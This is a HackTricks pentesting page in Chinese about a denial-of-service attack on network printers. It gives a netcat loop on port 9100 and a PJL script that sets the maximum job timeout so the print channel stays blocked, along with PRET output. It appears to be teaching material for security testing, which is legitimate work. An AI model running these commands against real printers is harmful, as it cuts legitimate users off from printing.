hacktricks/network-services-pentesting/pentesting-printers/transmission-channel.md
2023-08-03 19:12:22 +00:00

4.5 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

如果打印作业按顺序处理 - 这是大多数设备的假设 - 一次只能处理一个作业。如果此作业未能有效终止打印通道,则会阻塞通道直到触发超时,从而阻止合法用户进行打印。

基本的DoS攻击

while true; do nc printer 9100; done

这种微不足道的拒绝服务攻击可以通过使用PJL设置较高的超时值来改进,这样攻击者需要建立的连接数量就会减少,而合法用户要获得一个空闲时间段则更加困难:

# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done

您可以使用PRET来查找超时设置:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
5
300

虽然PJL参考规定了最大超时时间为300秒但实际上最大的PJL超时时间可能在15到2147483秒之间。请注意只要连接保持打开状态甚至从其他打印通道如IPP或LPD接收的打印作业也不再被处理。

了解更多关于这种攻击的信息,请访问 http://hacking-printers.net/wiki/index.php/Transmission_channel

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥